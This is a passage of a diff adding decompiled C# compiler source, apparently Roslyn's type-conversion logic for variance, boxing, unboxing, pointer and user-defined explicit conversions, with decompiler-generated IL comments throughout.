NamedTypeSymbol namedTypeSymbol = source as NamedTypeSymbol; + NamedTypeSymbol namedTypeSymbol2 = destination as NamedTypeSymbol; + if ((object)namedTypeSymbol == null || (object)namedTypeSymbol2 == null) + { + return false; + } + if (!namedTypeSymbol.IsInterfaceType() || !namedTypeSymbol2.IsInterfaceType()) + { + return false; + } + return HasVariantConversion(namedTypeSymbol, namedTypeSymbol2, ref useSiteInfo); + } + + private bool HasDelegateVarianceConversion(TypeSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + NamedTypeSymbol namedTypeSymbol = source as NamedTypeSymbol; + NamedTypeSymbol namedTypeSymbol2 = destination as NamedTypeSymbol; + if ((object)namedTypeSymbol == null || (object)namedTypeSymbol2 == null) + { + return false; + } + if (!namedTypeSymbol.IsDelegateType() || !namedTypeSymbol2.IsDelegateType()) + { + return false; + } + return HasVariantConversion(namedTypeSymbol, namedTypeSymbol2, ref useSiteInfo); + } + + private bool HasVariantConversion(NamedTypeSymbol source, NamedTypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + if (currentRecursionDepth >= 50) + { + return false; + } + ThreeState val = HasVariantConversionQuick(source, destination); + if (ThreeStateHelpers.HasValue(val)) + { + return ThreeStateHelpers.Value(val); + } + return CreateInstance(currentRecursionDepth + 1).HasVariantConversionNoCycleCheck(source, destination, ref useSiteInfo); + } + + private ThreeState HasVariantConversionQuick(NamedTypeSymbol source, NamedTypeSymbol destination) + { + if (!HasIdentityConversionInternal(source, destination)) + { + if (TypeSymbol.Equals(source.OriginalDefinition, destination.OriginalDefinition, (TypeCompareKind)0)) + { + return (ThreeState)0; + } + return (ThreeState)1; + } + return (ThreeState)2; + } + + private bool HasVariantConversionNoCycleCheck(NamedTypeSymbol source, NamedTypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_00a0: Expected I4, but got Unknown + //IL_0102: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + ArrayBuilder instance3 = ArrayBuilder.GetInstance(); + try + { + source.OriginalDefinition.GetAllTypeArguments(instance, ref useSiteInfo); + source.GetAllTypeArguments(instance2, ref useSiteInfo); + destination.GetAllTypeArguments(instance3, ref useSiteInfo); + for (int i = 0; i < instance.Count; i++) + { + TypeWithAnnotations typeWithAnnotations = instance2[i]; + TypeWithAnnotations typeWithAnnotations2 = instance3[i]; + if (HasIdentityConversionInternal(typeWithAnnotations.Type, typeWithAnnotations2.Type) && HasTopLevelNullabilityIdentityConversion(typeWithAnnotations, typeWithAnnotations2)) + { + continue; + } + TypeParameterSymbol typeParameterSymbol = (TypeParameterSymbol)instance[i].Type; + VarianceKind variance = typeParameterSymbol.Variance; + switch ((int)variance) + { + case 0: + if (isTypeIEquatable(destination.OriginalDefinition) && TypeSymbol.Equals(typeWithAnnotations2.Type, typeWithAnnotations.Type, (TypeCompareKind)24) && HasAnyNullabilityImplicitConversion(typeWithAnnotations2, typeWithAnnotations)) + { + return true; + } + return false; + case 1: + if (!HasImplicitReferenceConversion(typeWithAnnotations, typeWithAnnotations2, ref useSiteInfo)) + { + return false; + } + break; + case 2: + if (!HasImplicitReferenceConversion(typeWithAnnotations2, typeWithAnnotations, ref useSiteInfo)) + { + return false; + } + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)typeParameterSymbol.Variance); + } + } + } + finally + { + instance.Free(); + instance2.Free(); + instance3.Free(); + } + return true; + static bool isTypeIEquatable(NamedTypeSymbol type) + { + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Invalid comparison between Unknown and I4 + if ((object)type != null && type.IsInterface && type.Name == "IEquatable") + { + NamespaceSymbol containingNamespace = type.ContainingNamespace; + if ((object)containingNamespace != null && containingNamespace.Name == "System") + { + NamespaceSymbol containingNamespace2 = containingNamespace.ContainingNamespace; + if ((object)containingNamespace2 != null && containingNamespace2.IsGlobalNamespace) + { + Symbol containingSymbol = type.ContainingSymbol; + if ((object)containingSymbol != null && (int)containingSymbol.Kind == 12) + { + return type.TypeParameters.Length == 1; + } + } + } + } + return false; + } + } + + private bool HasImplicitBoxingTypeParameterConversion(TypeParameterSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Invalid comparison between Unknown and I4 + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Invalid comparison between Unknown and I4 + if (source.IsReferenceType) + { + return false; + } + if (HasImplicitEffectiveBaseConversion(source, destination, ref useSiteInfo)) + { + return true; + } + if (HasImplicitEffectiveInterfaceSetConversion(source, destination, ref useSiteInfo)) + { + return true; + } + if ((int)destination.TypeKind == 11 && source.DependsOn((TypeParameterSymbol)destination)) + { + return true; + } + if ((int)destination.Kind == 3) + { + return true; + } + return false; + } + + public bool HasBoxingConversion(TypeSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Invalid comparison between Unknown and I4 + if ((int)source.TypeKind == 11 && HasImplicitBoxingTypeParameterConversion((TypeParameterSymbol)source, destination, ref useSiteInfo)) + { + return true; + } + if (!source.IsValueType || !destination.IsReferenceType) + { + return false; + } + if (source.IsNullableType()) + { + return HasBoxingConversion(source.GetNullableUnderlyingType(), destination, ref useSiteInfo); + } + if (source.IsRestrictedType()) + { + return false; + } + if ((int)destination.Kind == 3) + { + return !source.IsPointerOrFunctionPointer(); + } + if (IsBaseClass(source, destination, ref useSiteInfo)) + { + return true; + } + if (HasAnyBaseInterfaceConversion(source, destination, ref useSiteInfo)) + { + return true; + } + return false; + } + + internal static bool HasImplicitPointerToVoidConversion(TypeSymbol source, TypeSymbol destination) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Invalid comparison between Unknown and I4 + if (source.IsPointerOrFunctionPointer()) + { + if (destination is PointerTypeSymbol pointerTypeSymbol) + { + TypeSymbol pointedAtType = pointerTypeSymbol.PointedAtType; + if ((object)pointedAtType != null) + { + return (int)pointedAtType.SpecialType == 6; + } + } + return false; + } + return false; + } + + internal bool HasImplicitPointerConversion(TypeSymbol? source, TypeSymbol? destination, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Invalid comparison between Unknown and I4 + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + //IL_00eb: Unknown result type (might be due to invalid IL or missing references) + //IL_00f1: Unknown result type (might be due to invalid IL or missing references) + //IL_00a4: Unknown result type (might be due to invalid IL or missing references) + //IL_00fa: Unknown result type (might be due to invalid IL or missing references) + if (source is FunctionPointerTypeSymbol functionPointerTypeSymbol) + { + FunctionPointerMethodSymbol signature = functionPointerTypeSymbol.Signature; + if ((object)signature != null && destination is FunctionPointerTypeSymbol functionPointerTypeSymbol2) + { + FunctionPointerMethodSymbol signature2 = functionPointerTypeSymbol2.Signature; + if ((object)signature2 != null) + { + if (signature.ParameterCount != signature2.ParameterCount || signature.CallingConvention != signature2.CallingConvention) + { + return false; + } + if ((int)signature.CallingConvention == 9 && !ImmutableHashSetExtensions.SetEqualsWithoutIntermediateHashSet(signature.GetCallingConventionModifiers(), signature2.GetCallingConventionModifiers())) + { + return false; + } + for (int i = 0; i < signature.ParameterCount; i++) + { + ParameterSymbol parameterSymbol = signature.Parameters[i]; + ParameterSymbol parameterSymbol2 = signature2.Parameters[i]; + if (parameterSymbol.RefKind != parameterSymbol2.RefKind) + { + return false; + } + if (!hasConversion(parameterSymbol.RefKind, signature2.Parameters[i].TypeWithAnnotations, signature.Parameters[i].TypeWithAnnotations, ref useSiteInfo)) + { + return false; + } + } + if (signature.RefKind == signature2.RefKind) + { + return hasConversion(signature.RefKind, signature.ReturnTypeWithAnnotations, signature2.ReturnTypeWithAnnotations, ref useSiteInfo); + } + return false; + } + } + } + return false; + bool hasConversion(RefKind refKind, TypeWithAnnotations sourceType, TypeWithAnnotations destinationType, ref CompoundUseSiteInfo useSiteInfo2) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Invalid comparison between Unknown and I4 + if ((int)refKind == 0) + { + if (!IncludeNullability || HasTopLevelNullabilityImplicitConversion(sourceType, destinationType)) + { + if (!HasIdentityOrImplicitReferenceConversion(sourceType.Type, destinationType.Type, ref useSiteInfo2) && !HasImplicitPointerToVoidConversion(sourceType.Type, destinationType.Type)) + { + return HasImplicitPointerConversion(sourceType.Type, destinationType.Type, ref useSiteInfo2); + } + return true; + } + return false; + } + if (!IncludeNullability || HasTopLevelNullabilityIdentityConversion(sourceType, destinationType)) + { + return HasIdentityConversion(sourceType.Type, destinationType.Type); + } + return false; + } + } + + private bool HasIdentityOrReferenceConversion(TypeSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + if (HasIdentityConversionInternal(source, destination)) + { + return true; + } + if (HasImplicitReferenceConversion(source, destination, ref useSiteInfo)) + { + return true; + } + if (HasExplicitReferenceConversion(source, destination, ref useSiteInfo)) + { + return true; + } + return false; + } + + private bool HasExplicitReferenceConversion(TypeSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Invalid comparison between Unknown and I4 + if ((int)source.SpecialType == 1) + { + if (destination.IsReferenceType) + { + return true; + } + } + else if ((int)source.Kind == 3 && destination.IsReferenceType) + { + return true; + } + if (destination.IsClassType() && IsBaseClass(destination, source, ref useSiteInfo)) + { + return true; + } + if (source.IsClassType() && destination.IsInterfaceType() && !source.IsSealed && !HasAnyBaseInterfaceConversion(source, destination, ref useSiteInfo)) + { + return true; + } + if (source.IsInterfaceType() && destination.IsClassType() && (!destination.IsSealed || HasAnyBaseInterfaceConversion(destination, source, ref useSiteInfo))) + { + return true; + } + if (source.IsInterfaceType() && destination.IsInterfaceType() && !HasImplicitConversionToInterface(source, destination, ref useSiteInfo)) + { + return true; + } + if (HasExplicitArrayConversion(source, destination, ref useSiteInfo)) + { + return true; + } + if (HasExplicitDelegateConversion(source, destination, ref useSiteInfo)) + { + return true; + } + if (HasExplicitReferenceTypeParameterConversion(source, destination, ref useSiteInfo)) + { + return true; + } + return false; + } + + private bool HasExplicitReferenceTypeParameterConversion(TypeSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + TypeParameterSymbol typeParameterSymbol = source as TypeParameterSymbol; + TypeParameterSymbol typeParameterSymbol2 = destination as TypeParameterSymbol; + if ((object)typeParameterSymbol2 != null && typeParameterSymbol2.IsReferenceType) + { + NamedTypeSymbol namedTypeSymbol = typeParameterSymbol2.EffectiveBaseClass(ref useSiteInfo); + while ((object)namedTypeSymbol != null) + { + if (HasIdentityConversionInternal(namedTypeSymbol, source)) + { + return true; + } + namedTypeSymbol = namedTypeSymbol.BaseTypeWithDefinitionUseSiteDiagnostics(ref useSiteInfo); + } + } + if ((object)typeParameterSymbol2 != null && source.IsInterfaceType() && typeParameterSymbol2.IsReferenceType) + { + return true; + } + if ((object)typeParameterSymbol != null && typeParameterSymbol.IsReferenceType && destination.IsInterfaceType() && !HasImplicitReferenceTypeParameterConversion(typeParameterSymbol, destination, ref useSiteInfo)) + { + return true; + } + if ((object)typeParameterSymbol != null && (object)typeParameterSymbol2 != null && typeParameterSymbol2.IsReferenceType && typeParameterSymbol2.DependsOn(typeParameterSymbol)) + { + return true; + } + return false; + } + + private bool HasUnboxingTypeParameterConversion(TypeSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + TypeParameterSymbol typeParameterSymbol = source as TypeParameterSymbol; + TypeParameterSymbol typeParameterSymbol2 = destination as TypeParameterSymbol; + if ((object)typeParameterSymbol2 != null && !typeParameterSymbol2.IsReferenceType) + { + NamedTypeSymbol namedTypeSymbol = typeParameterSymbol2.EffectiveBaseClass(ref useSiteInfo); + while ((object)namedTypeSymbol != null) + { + if (TypeSymbol.Equals(namedTypeSymbol, source, (TypeCompareKind)0)) + { + return true; + } + namedTypeSymbol = namedTypeSymbol.BaseTypeWithDefinitionUseSiteDiagnostics(ref useSiteInfo); + } + } + if (source.IsInterfaceType() && (object)typeParameterSymbol2 != null && !typeParameterSymbol2.IsReferenceType) + { + return true; + } + if ((object)typeParameterSymbol != null && !typeParameterSymbol.IsReferenceType && destination.IsInterfaceType() && !HasImplicitReferenceTypeParameterConversion(typeParameterSymbol, destination, ref useSiteInfo)) + { + return true; + } + if ((object)typeParameterSymbol != null && (object)typeParameterSymbol2 != null && !typeParameterSymbol2.IsReferenceType && typeParameterSymbol2.DependsOn(typeParameterSymbol)) + { + return true; + } + return false; + } + + private bool HasExplicitDelegateConversion(TypeSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Invalid comparison between Unknown and I4 + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Invalid comparison between Unknown and I4 + //IL_00dc: Unknown result type (might be due to invalid IL or missing references) + //IL_00e1: Unknown result type (might be due to invalid IL or missing references) + //IL_00e3: Unknown result type (might be due to invalid IL or missing references) + //IL_00f6: Expected I4, but got Unknown + if (destination.IsDelegateType()) + { + if ((int)source.SpecialType == 4 || (int)source.SpecialType == 3) + { + return true; + } + if (HasImplicitConversionToInterface(corLibrary.GetDeclaredSpecialType((SpecialType)4), source, ref useSiteInfo)) + { + return true; + } + } + if (!source.IsDelegateType() || !destination.IsDelegateType()) + { + return false; + } + if (!TypeSymbol.Equals(source.OriginalDefinition, destination.OriginalDefinition, (TypeCompareKind)0)) + { + return false; + } + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)source; + NamedTypeSymbol namedTypeSymbol2 = (NamedTypeSymbol)destination; + NamedTypeSymbol originalDefinition = namedTypeSymbol.OriginalDefinition; + if (HasIdentityConversionInternal(source, destination)) + { + return false; + } + if (HasDelegateVarianceConversion(source, destination, ref useSiteInfo)) + { + return false; + } + ImmutableArray immutableArray = namedTypeSymbol.TypeArgumentsWithDefinitionUseSiteDiagnostics(ref useSiteInfo); + ImmutableArray immutableArray2 = namedTypeSymbol2.TypeArgumentsWithDefinitionUseSiteDiagnostics(ref useSiteInfo); + for (int i = 0; i < immutableArray.Length; i++) + { + TypeSymbol type = immutableArray[i].Type; + TypeSymbol type2 = immutableArray2[i].Type; + VarianceKind variance = originalDefinition.TypeParameters[i].Variance; + switch ((int)variance) + { + case 0: + if (!HasIdentityConversionInternal(type, type2)) + { + return false; + } + break; + case 1: + if (!HasIdentityOrReferenceConversion(type, type2, ref useSiteInfo)) + { + return false; + } + break; + case 2: + { + bool num = HasIdentityConversionInternal(type, type2); + bool flag = type.IsReferenceType && type2.IsReferenceType; + if (!(num || flag)) + { + return false; + } + break; + } + } + } + return true; + } + + private bool HasExplicitArrayConversion(TypeSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Invalid comparison between Unknown and I4 + //IL_00ca: Unknown result type (might be due to invalid IL or missing references) + //IL_00cf: Unknown result type (might be due to invalid IL or missing references) + //IL_00d1: Unknown result type (might be due to invalid IL or missing references) + //IL_00d5: Invalid comparison between Unknown and I4 + //IL_00d7: Unknown result type (might be due to invalid IL or missing references) + //IL_00db: Invalid comparison between Unknown and I4 + //IL_00dd: Unknown result type (might be due to invalid IL or missing references) + //IL_00e1: Invalid comparison between Unknown and I4 + //IL_00e3: Unknown result type (might be due to invalid IL or missing references) + //IL_00e7: Invalid comparison between Unknown and I4 + //IL_00e9: Unknown result type (might be due to invalid IL or missing references) + //IL_00ed: Invalid comparison between Unknown and I4 + ArrayTypeSymbol arrayTypeSymbol = source as ArrayTypeSymbol; + ArrayTypeSymbol arrayTypeSymbol2 = destination as ArrayTypeSymbol; + if ((object)arrayTypeSymbol != null && (object)arrayTypeSymbol2 != null) + { + if (arrayTypeSymbol.HasSameShapeAs(arrayTypeSymbol2)) + { + return HasExplicitReferenceConversion(arrayTypeSymbol.ElementType, arrayTypeSymbol2.ElementType, ref useSiteInfo); + } + return false; + } + if ((object)arrayTypeSymbol2 != null) + { + if ((int)source.SpecialType == 23) + { + return true; + } + ImmutableArray.Enumerator enumerator = corLibrary.GetDeclaredSpecialType((SpecialType)23).AllInterfacesWithDefinitionUseSiteDiagnostics(ref useSiteInfo).GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current = enumerator.Current; + if (HasIdentityConversionInternal(current, source)) + { + return true; + } + } + } + if ((object)arrayTypeSymbol != null && arrayTypeSymbol.IsSZArray && destination.IsPossibleArrayGenericInterface() && HasExplicitReferenceConversion(arrayTypeSymbol.ElementType, ((NamedTypeSymbol)destination).TypeArgumentWithDefinitionUseSiteDiagnostics(0, ref useSiteInfo).Type, ref useSiteInfo)) + { + return true; + } + if ((object)arrayTypeSymbol2 != null && arrayTypeSymbol2.IsSZArray) + { + SpecialType specialType = source.OriginalDefinition.SpecialType; + if ((int)specialType == 26 || (int)specialType == 27 || (int)specialType == 25 || (int)specialType == 30 || (int)specialType == 31) + { + TypeSymbol type = ((NamedTypeSymbol)source).TypeArgumentWithDefinitionUseSiteDiagnostics(0, ref useSiteInfo).Type; + TypeSymbol elementType = arrayTypeSymbol2.ElementType; + if (HasIdentityConversionInternal(type, elementType)) + { + return true; + } + if (HasImplicitReferenceConversion(type, elementType, ref useSiteInfo)) + { + return true; + } + if (HasExplicitReferenceConversion(type, elementType, ref useSiteInfo)) + { + return true; + } + } + } + return false; + } + + private bool HasUnboxingConversion(TypeSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Invalid comparison between Unknown and I4 + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Invalid comparison between Unknown and I4 + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Invalid comparison between Unknown and I4 + if (destination.IsPointerOrFunctionPointer()) + { + return false; + } + if (destination.IsRestrictedType()) + { + return false; + } + SpecialType specialType = source.SpecialType; + if (((int)specialType == 1 || (int)specialType == 5) && destination.IsValueType && !destination.IsNullableType()) + { + return true; + } + if (source.IsInterfaceType() && destination.IsValueType && !destination.IsNullableType() && HasBoxingConversion(destination, source, ref useSiteInfo)) + { + return true; + } + if ((int)source.SpecialType == 2 && destination.IsEnumType()) + { + return true; + } + if (source.IsReferenceType && destination.IsNullableType() && HasUnboxingConversion(source, destination.GetNullableUnderlyingType(), ref useSiteInfo)) + { + return true; + } + if (HasUnboxingTypeParameterConversion(source, destination, ref useSiteInfo)) + { + return true; + } + return false; + } + + private static bool HasPointerToPointerConversion(TypeSymbol source, TypeSymbol destination) + { + if (source.IsPointerOrFunctionPointer()) + { + return destination.IsPointerOrFunctionPointer(); + } + return false; + } + + private static bool HasPointerToIntegerConversion(TypeSymbol source, TypeSymbol destination) + { + if (!source.IsPointerOrFunctionPointer()) + { + return false; + } + return IsIntegerTypeSupportingPointerConversions(destination.StrippedType()); + } + + private static bool HasIntegerToPointerConversion(TypeSymbol source, TypeSymbol destination) + { + if (!destination.IsPointerOrFunctionPointer()) + { + return false; + } + return IsIntegerTypeSupportingPointerConversions(source); + } + + private static bool IsIntegerTypeSupportingPointerConversions(TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Invalid comparison between Unknown and I4 + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + SpecialType specialType = type.SpecialType; + if (specialType - 9 > 7) + { + if (specialType - 21 <= 1) + { + return type.IsNativeIntegerType; + } + return false; + } + return true; + } + + public static void AddTypesParticipatingInUserDefinedConversion(ArrayBuilder<(NamedTypeSymbol ParticipatingType, TypeParameterSymbol? ConstrainedToTypeOpt)> result, TypeSymbol type, bool includeBaseTypes, ref CompoundUseSiteInfo useSiteInfo) + { + if ((object)type == null) + { + return; + } + type = type.StrippedType(); + bool flag = result.Count > 0; + if (type is TypeParameterSymbol typeParameterSymbol) + { + NamedTypeSymbol type2 = typeParameterSymbol.EffectiveBaseClass(ref useSiteInfo); + addFromClassOrStruct(result, flag, type2, includeBaseTypes, ref useSiteInfo); + ImmutableArray.Enumerator enumerator = (includeBaseTypes ? typeParameterSymbol.AllEffectiveInterfacesWithDefinitionUseSiteDiagnostics(ref useSiteInfo) : typeParameterSymbol.EffectiveInterfacesWithDefinitionUseSiteDiagnostics(ref useSiteInfo)).GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current = enumerator.Current; + if (!flag || !HasIdentityConversionToAny(current, result)) + { + result.Add((current, typeParameterSymbol)); + } + } + } + else + { + addFromClassOrStruct(result, flag, type, includeBaseTypes, ref useSiteInfo); + } + static void addFromClassOrStruct(ArrayBuilder<(NamedTypeSymbol ParticipatingType, TypeParameterSymbol? ConstrainedToTypeOpt)> val, bool excludeExisting, TypeSymbol typeSymbol, bool flag2, ref CompoundUseSiteInfo useSiteInfo2) + { + if (typeSymbol.IsClassType() || typeSymbol.IsStructType()) + { + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)typeSymbol; + if (!excludeExisting || !HasIdentityConversionToAny(namedTypeSymbol, val)) + { + val.Add((namedTypeSymbol, (TypeParameterSymbol)null)); + } + } + if (flag2) + { + NamedTypeSymbol namedTypeSymbol2 = typeSymbol.BaseTypeWithDefinitionUseSiteDiagnostics(ref useSiteInfo2); + while ((object)namedTypeSymbol2 != null) + { + if (!excludeExisting || !HasIdentityConversionToAny(namedTypeSymbol2, val)) + { + val.Add((namedTypeSymbol2, (TypeParameterSymbol)null)); + } + namedTypeSymbol2 = namedTypeSymbol2.BaseTypeWithDefinitionUseSiteDiagnostics(ref useSiteInfo2); + } + } + } + } + + private UserDefinedConversionResult AnalyzeExplicitUserDefinedConversions(BoundExpression sourceExpression, TypeSymbol source, TypeSymbol target, bool isChecked, ref CompoundUseSiteInfo useSiteInfo) + { + ArrayBuilder<(NamedTypeSymbol, TypeParameterSymbol)> instance = ArrayBuilder<(NamedTypeSymbol, TypeParameterSymbol)>.GetInstance(); + ComputeUserDefinedExplicitConversionTypeSet(source, target, instance, ref useSiteInfo); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + ComputeApplicableUserDefinedExplicitConversionSet(sourceExpression, source, target, isChecked, instance, instance2, ref useSiteInfo); + instance.Free(); + ImmutableArray immutableArray = instance2.ToImmutableAndFree(); + if (immutableArray.Length == 0) + { + return UserDefinedConversionResult.NoApplicableOperators(immutableArray); + } + TypeSymbol typeSymbol = MostSpecificSourceTypeForExplicitUserDefinedConversion(immutableArray, sourceExpression, source, ref useSiteInfo); + if ((object)typeSymbol == null) + { + return UserDefinedConversionResult.NoBestSourceType(immutableArray); + } + TypeSymbol typeSymbol2 = MostSpecificTargetTypeForExplicitUserDefinedConversion(immutableArray, target, ref useSiteInfo); + if ((object)typeSymbol2 == null) + { + return UserDefinedConversionResult.NoBestTargetType(immutableArray); + } + int? num = MostSpecificConversionOperator(typeSymbol, typeSymbol2, immutableArray); + if (!num.HasValue) + { + return UserDefinedConversionResult.Ambiguous(immutableArray); + } + return UserDefinedConversionResult.Valid(immutableArray, num.Value); + } + + private static void ComputeUserDefinedExplicitConversionTypeSet(TypeSymbol source, TypeSymbol target, ArrayBuilder<(NamedTypeSymbol ParticipatingType, TypeParameterSymbol ConstrainedToTypeOpt)> d, ref CompoundUseSiteInfo useSiteInfo) + { + AddTypesParticipatingInUserDefinedConversion(d, source, includeBaseTypes: true, ref useSiteInfo); + AddTypesParticipatingInUserDefinedConversion(d, target, includeBaseTypes: true, ref useSiteInfo); + } + + private void ComputeApplicableUserDefinedExplicitConversionSet(BoundExpression sourceExpression, TypeSymbol source, TypeSymbol target, bool isChecked, ArrayBuilder<(NamedTypeSymbol ParticipatingType, TypeParameterSymbol ConstrainedToTypeOpt)> d, ArrayBuilder u, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + bool flag = false; + Enumerator<(NamedTypeSymbol, TypeParameterSymbol)> enumerator = d.GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol item = enumerator.Current.Item1; + if (item.IsInterface) + { + flag = true; + } + else + { + addCandidatesFromType(null, item, sourceExpression, source, target, isChecked, u, ref useSiteInfo); + } + } + if (!(u.Count == 0 && flag)) + { + return; + } + enumerator = d.GetEnumerator(); + while (enumerator.MoveNext()) + { + var (namedTypeSymbol, constrainedToTypeOpt) = enumerator.Current; + if (namedTypeSymbol.IsInterface) + { + addCandidatesFromType(constrainedToTypeOpt, namedTypeSymbol, sourceExpression, source, target, isChecked, u, ref useSiteInfo); + } + } + void addCandidatesFromType(TypeParameterSymbol constrainedToTypeOpt2, NamedTypeSymbol declaringType, BoundExpression sourceExpression2, TypeSymbol source2, TypeSymbol target2, bool isChecked2, ArrayBuilder u2, ref CompoundUseSiteInfo useSiteInfo2) + { + AddUserDefinedConversionsToExplicitCandidateSet(sourceExpression2, source2, target2, u2, constrainedToTypeOpt2, declaringType, isExplicit: true, isChecked2, ref useSiteInfo2); + AddUserDefinedConversionsToExplicitCandidateSet(sourceExpression2, source2, target2, u2, constrainedToTypeOpt2, declaringType, isExplicit: false, isChecked2, ref useSiteInfo2); + } + } + + private void AddUserDefinedConversionsToExplicitCandidateSet(BoundExpression sourceExpression, TypeSymbol source, TypeSymbol target, ArrayBuilder u, TypeParameterSymbol constrainedToTypeOpt, NamedTypeSymbol declaringType, bool isExplicit, bool isChecked, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_00c6: Unknown result type (might be due to invalid IL or missing references) + //IL_00cb: Unknown result type (might be due to invalid IL or missing references) + //IL_00fb: Unknown result type (might be due to invalid IL or missing references) + //IL_0101: Invalid comparison between Unknown and I4 + if (((object)source != null && source.IsInterfaceType()) || target.IsInterfaceType()) + { + return; + } + ImmutableArray operators = declaringType.GetOperators((!isExplicit) ? "op_Implicit" : (isChecked ? "op_CheckedExplicit" : "op_Explicit")); + ArrayBuilder instance = ArrayBuilder.GetInstance(operators.Length); + instance.AddRange(operators); + if (isExplicit && isChecked) + { + ImmutableArray operators2 = declaringType.GetOperators("op_Explicit"); + if (operators.IsEmpty) + { + instance.AddRange(operators2); + } + else + { + ImmutableArray.Enumerator enumerator = operators2.GetEnumerator(); + while (enumerator.MoveNext()) + { + MethodSymbol current = enumerator.Current; + bool flag = true; + ImmutableArray.Enumerator enumerator2 = operators.GetEnumerator(); + while (enumerator2.MoveNext()) + { + if (SourceMemberContainerTypeSymbol.DoOperatorsPair(enumerator2.Current, current)) + { + flag = false; + break; + } + } + if (flag) + { + instance.Add(current); + } + } + } + } + Enumerator enumerator3 = instance.GetEnumerator(); + while (enumerator3.MoveNext()) + { + MethodSymbol current2 = enumerator3.Current; + if (current2.ReturnsVoid || current2.ParameterCount != 1 || (int)current2.ReturnType.TypeKind == 6) + { + continue; + } + TypeSymbol typeSymbol = current2.GetParameterType(0); + TypeSymbol typeSymbol2 = current2.ReturnType; + Conversion sourceConversion = EncompassingExplicitConversion(sourceExpression, source, typeSymbol, ref useSiteInfo); + Conversion targetConversion = EncompassingExplicitConversion(typeSymbol2, target, ref useSiteInfo); + if (!sourceConversion.Exists && (object)source != null && source.IsNullableType() && EncompassingExplicitConversion(source.GetNullableUnderlyingType(), typeSymbol, ref useSiteInfo).Exists) + { + sourceConversion = ClassifyBuiltInConversion(source, typeSymbol, isChecked, ref useSiteInfo); + } + if (!targetConversion.Exists && (object)target != null && target.IsNullableType() && EncompassingExplicitConversion(typeSymbol2, target.GetNullableUnderlyingType(), ref useSiteInfo).Exists) + { + targetConversion = ClassifyBuiltInConversion(typeSymbol2, target, isChecked, ref useSiteInfo); + } + if (!sourceConversion.Exists || !targetConversion.Exists) + { + continue; + } + if ((object)source != null && source.IsNullableType() && typeSymbol.IsValidNullableTypeArgument() && target.CanBeAssignedNull()) + { + TypeSymbol typeSymbol3 = MakeNullableType(typeSymbol); + TypeSymbol typeSymbol4 = (typeSymbol2.IsValidNullableTypeArgument() ? MakeNullableType(typeSymbol2) : typeSymbol2); + Conversion sourceConversion2 = EncompassingExplicitConversion(sourceExpression, 